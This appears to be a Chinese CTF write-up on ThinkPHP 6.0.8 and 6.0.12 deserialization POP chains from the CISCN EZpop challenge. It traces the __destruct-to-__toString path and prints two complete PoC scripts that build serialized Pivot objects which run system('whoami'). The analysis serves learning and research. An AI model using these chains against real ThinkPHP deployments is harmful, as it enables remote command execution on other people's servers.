本篇文章关于thinkphp6.08和6.0.12两个版本的反序列化进行分析,因为在新版中,修复了本来在6.08版本中可以利用的链路,不过在6.0.12版本中也是挖掘到了新的利用链,谨以本篇文章来学习一下。

本篇文章涉及15届ciscn的web中的EZpop,但不仅限于这道题,会讲解一些反序列化的知识,作为一个学习的过程,本人也没有系统的学习反序列化漏洞,如有错误烦请各位师傅指正。

前言

国赛:每次参加这种比赛总有一种为什么自己这么菜的感慨,狠铁不成刚。。。

前几天的15届ciscn大赛,遇到了tp6的反序列化漏洞,虽然用了网上公开的poc打出来了,但是毕竟不是自己理解出来的,本篇文章就来从国赛EZpop来研究和学习tp6的反序列化漏洞。

两个版本区别

__destruct链触发走的路一样

__toString链最终利用点不同

关于php魔术函数的知识大家可以自己去百度学习,我就从这道题来讲起,直接进入app/controller/Index.php

这个就是出现的主界面的文件,搜索默认界面文字能定位到这个文件,看到unserialize()这个函数,这个函数就不用我多说了,php中常见的序列化函数

我们都知道php的反序列化攻击都是通过魔法函数来进行攻击,php自动调用的函数,在自动调用时,便会触发魔术方法,如果魔术方法里面存在一些恶意代码,就有机会实施反序列化攻击,例如__destruct,也是本题用到的方法:

__destruct是对象被销毁的时候进行调用,因为php在程序块结束时会进行垃圾回收,将对象进行销毁,然后自动触发__destruct的魔术方法。

常见的魔术方法:

当对象被创建时:__construct

当对象被销毁时:__destruct

当对象被当作一个字符串使用时:__toString

序列化对象前调用(其返回值需要是一个数组):__sleep

反序列化恢复对象前调用:__wakeup

当调用对象中不存在的方法时自动调用:__call

从不可访问的属性读取数据:__get

__destruct

那么我们就从源代码找找,有没有能利用的点或者方法,这里已经很明显了,并不需要我们去挖这个反序列化漏洞,网上有现成的给我们参考,定位到vendor/topthink/think-orm/src/Model.php,利用的是__destruct这个方法

可以看到,如果this->lazySave==True,就会调用了save方法,那么我们跟进save()方法,直接在这个Model.php搜索这个方法,注意是save()方法,那么我们接下来分别看一眼①和②处的方法

  • 如图①调用isEmpty()方法,我们需要绕过①即$this->isEmpty()为false,$this->trigger('BeforeWrite')为true,漏洞方法是updateData

  • 看一眼isEmpty()方法,这里只要**$this->data为非空**即可。

  • $this->trigger() 方法(位于vendor\topthink\think-orm\src\model\concern\ModelEvent.php中)**$this->withEvent为false**即可。

那么②处需要满足**$this->exists==true**进入跟进updateDate()方法,那么来到了checkAllowFields()方法。

  • 这里分出来一个$this->getChangedData() 方法,可以看到设置 $this-data`为非空,$this->force == true 即可。

回到主线,跟进另一个方法checkAllowFields()方法,漏洞方法是db,默认也是进入该方法,继续跟进

跟进db()方法,来到这一段代码,注意存在$this->table 和 $this->suffix均可触发__toString魔术方法,我们只需要把$this->table设为触发__toString类即可。

总结一下设置点,前面我加粗的代码部分:

$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

关于下方poc中的Pivot类:Model 类是抽象类,不能实例化。所以要想利用,得找出 Model 类的一个子类进行实例化,这里可以用 Pivot 类(位于\vendor\topthink\think-orm\src\model\Pivot.php中)进行利用

__toString

全局搜索一下__toString(),最后选择vendor\topthink\think-orm\src\model\concern\Conversion.php类中的__toString方法,可以看到①处调用了toJson方法,上方②处便是该方法,调用toArray方法然会以json格式返回

继续跟进toArray方法,对 $data进行遍历,其中 $key$data 的键。默认情况下,会进入第二个 elseif 语句,从而将 $key 作为参数调用 getAttr() 方法。

那么我们继续跟进getAttr方法,位置为vendor/topthink/think-orm/src/model/concern/Attribute.php,进入了getValue方法,但是传入该方法的$value是由getData方法得到的

  • getData方法看一眼,$this->data可控,$fieldName来自getRealFieldName方法,去该方法看一眼$filename

  • 跟进getRealFieldName方法,可以看到默认返回传入的参数,那么$filename就是可控的,那么自然传入getValue方法的$value也是可控的,很显然这里需要$this->convertNameToCamel || !$this->strict == true,才会返回$name 这里默认是返回,也就是最开始从 toArray() 方法中传进来的 $key 值。所以getData()返回的就是$this->data[$key],再来看getAttr(),最后的返回语句 getValue() 方法:($value 的值就是 $this->data[$key]);

转头跟进上面传入$valuegetValue方法。这里经过了一个if判断,需要$this->withAttr$this->json都可控,才能进入getJsonValue方法,并且在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure进行判断

V6.0.8

上文①处为Thinkphp6.0.8的利用位置,比赛时候用了这个poc但是打不出来,就知道这个地方有问题了,6.08版本直接在该处利用即可$closuresystem$this->data 为要执行的命令即可。令 withAttr[$fieldName]="system"$this->data="whoami" ,即执行 system('whoami');注意 $this->withAttr[$key] 存在且不为数组即可。最后将table 声明为Pivot类的对象,从而将两个POP链串联起来。

<?php 
namespace think\model\concern;
trait Attribute
{
    private $data = ["evil_key" => "whoami"];
    private $withAttr = ["evil_key" => "system"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;//将table 声明为Pivot类的对象,从而将两个POP链串联起来。
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));

V6.0.12

②处的话在Thinkphp6.0.12时已经对传入的$closure进行判断,再一次判断$closure是否为闭包函数,导致6.0.8的利用链断掉了,无法像6.08版本那样在①处利用

if ($closure instanceof \Closure) 

那么新版本去寻找类似的结构是否利用,在555行发现了类似的结构,位于getJsonValue方法内

if ($this->jsonAssoc) {
       $value[$key] = $closure($value[$key], $value);
}

同时该方法它也_toString链中511行处被调用,只不过旧链我们没有进入它而是进入下面的else语句。这里我们进入510行处的if语句。filename是旧链中this->data[]中的key值。绕过in_array(fieldName, this->json) 在this->json中设置一个值为filename(ps:非键值)。绕过is_array(this->withAttr[fieldName])),this->withAttr[]中键值为fieldName的值为数组。

跟进getJsonValue方法来进行分析,$value为this->data[filename]的值。而name就是上一个函数的filename,进入循环因为上文绕过了is_array(this->withAttr[fieldName])),所以this->withAttr[fieldName]就是数组的形式,接下来设置this->jsonAssoc为true。所以可以构造this->withAttr为以下形式

private $withAttr = ["key"=>["key1"=>"system"]];

这样$closure就获得了system。看看它的参数value[key],而$value为this->data[filename]的值,所以可以构造this->data为以下形式

private $data = ["key" => ["key1" => "whoami"]];

那么我们写新的poc时只需要去添加一下我们后来分析的利用链即可。

trait Attribute

trait Attribute
{
    private $data = ["key" => ["key1" => "whoami"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}

Medol中添加 protected $jsonAssoc;并设置其值为true。

abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;php
    }
}

其他条件相同即可,完整poc

<?php

namespace think\model\concern;
trait Attribute
{
    private $data = ["key" => ["key1" => "whoami"]];
    private $withAttr = ["key"=>["key1"=>"system"]];
    protected $json = ["key"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave;
    protected $withEvent;
    private $exists;
    private $force;
    protected $table;
    protected $jsonAssoc;
    function __construct($obj = '')
    {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));

最后

本篇文章学习了各位师傅的文章来进行分析,感谢各位师傅给我的帮助,如果有任何问题请在本篇评论。